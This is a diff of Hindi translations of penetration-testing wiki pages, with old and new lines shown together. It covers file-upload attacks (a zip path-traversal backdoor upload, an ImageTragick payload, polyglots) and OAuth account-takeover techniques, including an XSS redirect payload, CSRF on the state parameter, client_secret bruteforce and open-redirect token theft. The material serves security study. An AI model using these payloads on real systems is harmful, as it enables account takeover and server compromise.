- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **हैक्स संपादक या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नाम vi या हैक्स संपादक का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर निर्देशिकाओं को पार करते हैं
3. **हेक्स एडिटर या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नामों को vi या हेक्स एडिटर का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है
```bash
:set modifiable
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -297,7 +297,7 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
## पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट के रूप में कार्य करती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।

View File

@ -1,36 +1,36 @@
# OAuth से खाता अधिग्रहण
# OAuth to Account takeover
{{#include ../banners/hacktricks-training.md}}
## मूल जानकारी <a href="#d4a8" id="d4a8"></a>
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 दस्तावेज़ीकरण](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 प्राधिकरण कोड अनुदान प्रकार](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो **एक प्राधिकरण ढांचा प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुँचने या क्रियाएँ करने की अनुमति देता है** (प्राधिकरण सर्वर)।
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 documentation](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो **एक प्राधिकरण ढांचा प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुंचने या उस पर क्रियाएँ करने की अनुमति देता है** (प्राधिकरण सर्वर)।
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने** के लिए डिज़ाइन किया गया है, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुँचने** के लिए। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **अनुरोधित अनुमतियाँ और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी अनुमति मिलने पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुँचने** की क्षमता मिल जाती है
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने के लिए डिज़ाइन किया गया है**, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुंचने के लिए**। परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **मांगी जा रही अनुमतियाँ और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी प्राधिकरण पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुंचने की क्षमता मिलती है**
OAuth 2.0 ढांचे के भीतर निम्नलिखित घटकों को समझना आवश्यक है:
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुच की अनुमति देते हैं।
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुच की अनुमति देते हैं।
- **resource server**: **सर्वर जो प्रमाणित अनुरोधों का प्रबंधन करता है** जब एप्लिकेशन ने `access token` को `resource owner` की ओर से सुरक्षित किया है, जैसे कि **https://socialmedia.com**
- **client application**: **एप्लिकेशन जो `resource owner` से प्राधिकरण मांगता है**, जैसे कि **https://example.com**
- **authorization server**: **सर्वर जो `client application` को `access tokens` जारी करता है** `resource owner` की सफल प्रमाणीकरण और प्राधिकरण सुरक्षित करने के बाद, जैसे कि **https://socialmedia.com**
- **client application**: **अनुमति प्राप्त करने वाला एप्लिकेशन** जो `resource owner` से अनुरोध करता है, जैसे कि **https://example.com**
- **authorization server**: **सर्वर जो `access tokens` जारी करता है** `client application` को `resource owner` की सफल प्रमाणीकरण और प्राधिकरण सुरक्षित करने के बाद, जैसे कि **https://socialmedia.com**
- **client_id**: एप्लिकेशन के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और प्राधिकरण सर्वर को ज्ञात है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
- **response_type**: एक मान जो **अनुरोधित टोकन के प्रकार** को निर्दिष्ट करता है, जैसे `code`
- **scope**: **उपयोगकर्ता से `client application` द्वारा अनुरोधित पहुँच का स्तर**
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और प्राधिकरण सर्वर को ज्ञात होती है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
- **response_type**: एक मान जो **मांगी गई टोकन के प्रकार को निर्दिष्ट करता है**, जैसे `code`
- **scope**: **एक्सेस का स्तर** जो `client application` `resource owner` से मांग रहा है
- **redirect_uri**: **URL जिस पर उपयोगकर्ता प्राधिकरण के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने** के लिए है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार** को इंगित करता है।
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जिसका उपय `client application` API अनुरोधों के लिए `resource owner` की ओर से करता है**।
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने** की अनुमति देता है।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने के लिए** है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार को इंगित करता है**
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `client application` द्वारा `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जो `client application` `resource owner` की ओर से API अनुरोधों के लिए उपयोग करता है**।
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने की अनुमति देता है**
### प्रवाह
### Flow
**वास्तविक OAuth प्रवाह** इस प्रकार है:
1. आप [https://example.com](https://example.com) पर जाते हैं और “सोशल मीडिया के साथ एकीकृत करें” बटन का चयन करते हैं।
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके पोस्ट तक पहुँचने के लिए https://example.com के एप्लिकेशन को अनुमति देने के लिए आपकी प्राधिकरण मांगने का अनुरोध भेजती है। अनुरोध इस प्रकार संरचित है:
1. आप [https://example.com](https://example.com) पर जाते हैं और “Integrate with Social Media” बटन का चयन करते हैं।
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके प्राधिकरण के लिए अनुरोध भेजती है ताकि https://example.com के एप्लिकेशन को आपके पोस्ट तक पहुंचने की अनुमति मिल सके। अनुरोध इस प्रकार संरचित है:
```
https://socialmedia.com/auth
?response_type=code
@ -50,7 +50,7 @@ POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. अंत में, प्रक्रिया समाप्त होती है क्योंकि https://example.com आपके `access_token` का उपयोग करके सोशल मीडिया पर API कॉल करती है।
6. अंत में, प्रक्रिया समाप्त होती है जब https://example.com आपके `access_token` का उपयोग करके सोशल मीडिया पर API कॉल करती है।
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
@ -62,7 +62,7 @@ Host: socialmedia.com
`redirect_uri` के अलावा, अन्य OAuth और OpenID पैरामीटर जैसे `client_uri`, `policy_uri`, `tos_uri`, और `initiate_login_uri` भी पुनर्निर्देशन हमलों के प्रति संवेदनशील हैं। ये पैरामीटर वैकल्पिक हैं और इनका समर्थन सर्वरों में भिन्न होता है।
जो लोग OpenID सर्वर को लक्षित कर रहे हैं, उनके लिए खोज समाप्ति बिंदु (`**.well-known/openid-configuration**`) अक्सर मूल्यवान कॉन्फ़िगरेशन विवरण जैसे `registration_endpoint`, `request_uri_parameter_supported`, और "`require_request_uri_registration`" सूचीबद्ध करता है। ये विवरण पंजीकरण समाप्ति बिंदु और सर्वर क अन्य कॉन्फ़िगरेशन विशिष्टताओं की पहचान करने में मदद कर सकते हैं।
जो लोग OpenID सर्वर को लक्षित कर रहे हैं, उनके लिए खोज समाप्ति बिंदु (`**.well-known/openid-configuration**`) अक्सर मूल्यवान कॉन्फ़िगरेशन विवरण जैसे `registration_endpoint`, `request_uri_parameter_supported`, और "`require_request_uri_registration`" सूचीबद्ध करता है। ये विवरण पंजीकरण समाप्ति बिंदु और सर्वर क अन्य कॉन्फ़िगरेशन विशिष्टताओं की पहचान करने में मदद कर सकते हैं।
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
@ -72,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter या तो **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते पर कब्जा** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या तीसरे पक्ष की सेवाओं जैसे **Slack**, **Stripe**, और **PayPal** के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या **Slack**, **Stripe**, और **PayPal** जैसे तीसरे पक्ष की सेवाओं के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
**`state` parameter** का उचित प्रबंधन और मान्यता CSRF के खिलाफ सुरक्षा और OAuth प्रवाह को सुरक्षित करने के लिए महत्वपूर्ण है।
@ -89,11 +89,11 @@ OAuth कार्यान्वयन में, **`state` parameter** का
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** का खुलासा महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता के **`access_tokens`** और निजी जानकारी को **चोरी** करने के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के बहाने `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और लाभ उठाया जा सकता है।
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के रूप में `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और अधिक लाभ उठाया जा सकता है।
### Client Secret Bruteforce
आप सेवा प्रदाता के साथ पहचान प्रदाता का **client_secret** चुराने के लिए **bruteforce** करने का प्रयास कर सकते हैं।\
आप सेवा प्रदाता के साथ पहचान प्रदाता का **client_secret** **bruteforce** करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश की जा सके।\
BF के लिए अनुरोध इस प्रकार दिख सकता है:
```
POST /token HTTP/1.1
@ -114,7 +114,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### Everlasting Authorization Code
**अधिकार कोड को केवल कुछ समय के लिए जीवित रहना चाहिए ताकि हमलावर द्वारा चुराए जाने और उपयोग किए जाने के समय की खिड़की को सीमित किया जा सके**।
**अधिकार कोड को केवल कुछ समय के लिए जीवित रहना चाहिए ताकि हमलावर इसे चुराने और उपयोग करने के लिए समय की खिड़की को सीमित कर सके**।
### Authorization/Refresh Token not bound to client
@ -146,51 +146,51 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
For more detailed info about how to abuse AWS cognito check:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### अन्य ऐप्स टोकन का दुरुपयोग <a href="#bda5" id="bda5"></a>
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
जैसा कि [**इस लेख में उल्लेख किया गया है**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth प्रवाह जो **टोकन** (और कोड नहीं) प्राप्त करने की अपेक्षा करते हैं, वे कमजोर हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप का है।
जैसा कि [**इस लेख में उल्लेख किया गया है**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth प्रवाह जो **token** (और न कि कोड) प्राप्त करने की अपेक्षा करते हैं, वे कमजोर हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप का है।
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और फेसबुक के साथ लॉगिन करता है** (उदाहरण के लिए) अपने स्वयं के ऐप में। फिर, जब एक पीड़ित फेसबुक के साथ **हमलावर के ऐप में लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन का उपयोग करके लॉगिन करने के लिए कर सकता है**
> [!CAUTION]
> इसलिए, यदि हमलावर उपयोगकर्ता को अपने OAuth ऐप तक पहुंच प्राप्त करने में सफल हो जाता है, तो वह उन ऐप्स में पीड़ित के खाते पर नियंत्रण प्राप्त कर सकेगा जो टोकन की अपेक्षा कर रहे हैं और यह नहीं जांच रहे हैं कि टोकन उनके ऐप आईडी को दिया गया था या नहीं।
### दो लिंक और कुकी <a href="#bda5" id="bda5"></a>
### Two links & cookie <a href="#bda5" id="bda5"></a>
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **प्रॉम्प्ट** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए चाहता है।
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **एक कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **prompt** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए चाहता है।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब बंद करें, और बिना उस मान के एक नया टैब खोलें। फिर, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट** पर पुनर्निर्देशन में भेजा जाएगा।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को शुरू किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब बंद करें, और बिना उस मान के एक नया टैब खोलें। तब, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी को इसके लिए सेट किया जाएगा, इसलिए **टोकन हमलावर के होस्ट को** रीडायरेक्शन में भेजा जाएगा।
### प्रॉम्प्ट इंटरैक्शन बायपास <a href="#bda5" id="bda5"></a>
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), कुछ OAuth कार्यान्वयन **`prompt`** GET पैरामीटर को None (**`&prompt=none`**) के रूप में इंगित करने की अनुमति देते हैं ताकि **उपयोगकर्ताओं को दिए गए एक्सेस की पुष्टि करने के लिए प्रॉम्प्ट में पूछा न जाए** यदि वे पहले से ही प्लेटफॉर्म में लॉगिन कर चुके हैं।
### response_mode
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), यह संभव हो सकता है कि पैरामीटर **`response_mode`** को इंगित किया जाए कि आप अंतिम URL में कोड कहां प्रदान करना चाहते हैं:
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), यह संभव हो सकता है कि पैरामीटर **`response_mode`** को इंगित किया जाए कि आप अंतिम URL में कोड कहां प्राप्त करना चाहते हैं:
- `response_mode=query` -> कोड एक GET पैरामीटर के अंदर प्रदान किया जाता है: `?code=2397rf3gu93f`
- `response_mode=fragment` -> कोड URL फ़्रैगमेंट पैरामीटर `#code=2397rf3gu93f` के अंदर प्रदान किया जाता है
- `response_mode=form_post` -> कोड एक POST फॉर्म के अंदर प्रदान किया जाता है जिसमें एक इनपुट होता है जिसे `code` कहा जाता है और मान
- `response_mode=web_message` -> कोड एक पोस्ट संदेश में भेजा जाता है: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC प्रवाह - 2 FA बायपास <a href="#b440" id="b440"></a>
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
[**इस ब्लॉग पोस्ट के अनुसार**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), यह एक OAuth प्रवाह है जो **उपयोगकर्ता नाम** और **पासवर्ड** के माध्यम से OAuth में लॉगिन करने की अनुमति देता है। यदि इस सरल प्रवाह के दौरान एक **टोकन** लौटाया जाता है जिसमें सभी क्रियाओं तक पहुंच होती है जो उपयोगकर्ता कर सकता है, तो उस टोकन का उपयोग करके 2FA को बायपास करना संभव है।
### ओपन रीडायरेक्ट पर आधारित वेब पृष्ठ पर ATO <a href="#bda5" id="bda5"></a>
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
यह [**ब्लॉगपोस्ट**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) बताता है कि कैसे एक **ओपन रीडायरेक्ट** का दुरुपयोग करके **रेफरर** के मान से OAuth का दुरुपयोग करके ATO किया जा सकता है। हमला था:
1. पीड़ित हमलावर के वेब पृष्ठ पर पहुंचता है
2. पीड़ित दुर्भावनापूर्ण लिंक खोलता है और एक ओपनर Google OAuth प्रवाह को `response_type=id_token,code&prompt=none` के रूप में अतिरिक्त पैरामीटर के साथ आरंभ करता है, **रेफरर के रूप में हमलावर की वेबसाइट** का उपयोग करते हुए।
2. पीड़ित दुर्भावनापूर्ण लिंक खोलता है और एक ओपनर Google OAuth प्रवाह को `response_type=id_token,code&prompt=none` के रूप में अतिरिक्त पैरामीटर के साथ शुरू करता है, **रेफरर के रूप में हमलावर की वेबसाइट** का उपयोग करते हुए।
3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर वापस भेजता है जिसमें 30X कोड होता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर पुनर्निर्देशित करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ़्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर Google के माध्यम से उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर रीडायरेक्ट करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ़्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
### SSRFs पैरामीटर <a href="#bda5" id="bda5"></a>
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**इस शोध की जांच करें**](https://portswigger.net/research/hidden-oauth-attack-vectors) **इस तकनीक के आगे के विवरण के लिए।**
@ -199,11 +199,11 @@ OAuth में डायनामिक क्लाइंट रजिस्
**मुख्य बिंदु:**
- **डायनामिक क्लाइंट रजिस्ट्रेशन** अक्सर `/register` पर मैप किया जाता है और इसमें `client_name`, `client_secret`, `redirect_uris`, और लोगो या JSON वेब कुंजी सेट (JWKs) के लिए URLs जैसे विवरण POST अनुरोधों के माध्यम से स्वीकार करता है।
- यह सुविधा **RFC7591** और **OpenID कनेक्ट रजिस्ट्रेशन 1.0** में निर्धारित विनिर्देशों का पालन करती है, जिसमें पैरामीटर शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
- यह सुविधा **RFC7591** और **OpenID कनेक्ट रजिस्ट्रेशन 1.0** में निर्धारित विनिर्देशों का पालन करती है, जिसमें ऐसे पैरामीटर शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
- रजिस्ट्रेशन प्रक्रिया अनजाने में कई तरीकों से सर्वरों को SSRF के प्रति उजागर कर सकती है:
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL जिसे सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL को गलत तरीके से संभाला गया तो XSS की ओर ले जा सकता है।
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, जिसे यदि दुर्भावनापूर्ण तरीके से तैयार किया गया हो, तो सर्वर को हमलावर-नियंत्रित सर्वर पर आउटबाउंड अनुरोध करने के लिए मजबूर कर सकता है।
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर द्वारा प्राप्त किया जा सकता है, जिससे SSRF का अवसर उत्पन्न होता है।
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL ज सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL को गलत तरीके से संभाला गया तो XSS का कारण बन सकता है।
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, ज यदि दुर्भावनापूर्ण तरीके से तैयार किया गया हो, तो सर्वर को हमलावर-नियंत्रित सर्वर पर आउटबाउंड अनुरोध करने का कारण बन सकता है।
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर प्राप्त कर सकता है, जिससे SSRF का अवसर बनता है।
- **`request_uris`**: क्लाइंट के लिए अनुमत अनुरोध URIs की सूची, जिन्हें यदि सर्वर इन URIs को प्राधिकरण प्रक्रिया की शुरुआत में प्राप्त करता है तो शोषित किया जा सकता है।
